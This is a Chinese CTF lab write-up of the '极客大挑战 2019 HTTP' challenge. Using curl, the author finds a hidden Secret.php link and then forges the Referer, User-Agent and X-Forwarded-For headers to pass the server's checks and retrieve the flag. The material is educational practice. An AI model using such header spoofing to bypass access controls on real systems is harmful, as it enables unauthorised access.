大家好,那么可以叫我凌,是个16岁的网络安全学习者。
今天我们来做 极客大挑战 2019HTTP 这道题目,顺便来讲讲我的做题思路
做题思路
我们先启动靶场

看见靶场提供了以下两个内容
ncat --ssl 89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com 9999
remote("89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com", 9999, ssl=True)
与以往不同,这次它给了个 SSL加密的TCP隧道地址。(SSL加密会保护传输数据,通常需要验证证书)
既然不是网页,那我们就直接上CURL看看。带上参数 k 忽略SSL证书验证:
bash
curl -k https://89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com:9999

返回的是个网页。得出这个SSL端口背后就是个正常的Web服务器,并不是交互式终端。
观察返回的代码,发现以下内容

html
<html>
<a href="Secret.php" style="display:none">...</a>
</html>
那我们直接访问看看
bash
curl -k https://89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com:9999/Secret.php

显示并不是来自 https://Sycsecret.buuoj.cn 这个地址,那我们就修改请求包欺骗目标我们是从这个网站过来的
bash
curl -k https://89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com:9999/Secret.php -H "Referer: https://Sycsecret.buuoj.cn"

出现了 Please use "Syclover" browser 这个东西,说明我们成功欺骗了目标,不过只成功一半。因为浏览器不对被拦截了,那我们继续修改请求包。添加上"User-Agent"请求头
bash
curl -k https://89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com:9999/Secret.php -H "Referer: https://Sycsecret.buuoj.cn" -H "User-Agent:Syclover"

看来有效果了,不过又显示 "No!!! you can only read this locally!!!" 。看来又要修改请求头来欺骗目标我们是本地的。那就添加 X-Forwarded-For 请求头,搭配回环地址看看。
bash
curl -k https://89cbe2e158b960ac68f631cc.tcp-ctf2.dasctf.com:9999/Secret.php -H "Referer: https://Sycsecret.buuoj.cn" -H "User-Agent:Syclover" -H "X-Forwarded-For:127.0.0.1"

这样子,我们就轻轻松松拿下了Flag!
靶场小结
考点标签
HTTP协议、请求头伪造、信息收集、源码分析
核心教训
-
入口不一定在首页:这道题的 Flag 藏在 Secret.php 里,但页面上并没有直接链接,需要通过分析源码(F12)才能发现隐藏的 <a> 标签。
-
每一个请求头都可能是钥匙:服务器通过请求头来验证来访者的身份。你需要伪造 Referer、User-Agent、X-Forwarded-For来满足它的条件。
-
curl 是手工测试的利器:不依赖浏览器,直接用 curl 配合 -H 参数可以精确控制每一个请求头,是渗透测试中最干净、最可控的工具。
解题关键步骤
-
第一步:信息收集:用 curl 访问首页,在返回的 HTML 源码中发现 <a href="Secret.php"> 隐藏链接。
-
第二步:伪造请求头:依次伪造 Referer(来源页)、User-Agent(指定浏览器)、X-Forwarded-For(伪造本地IP)去请求 Secret.php。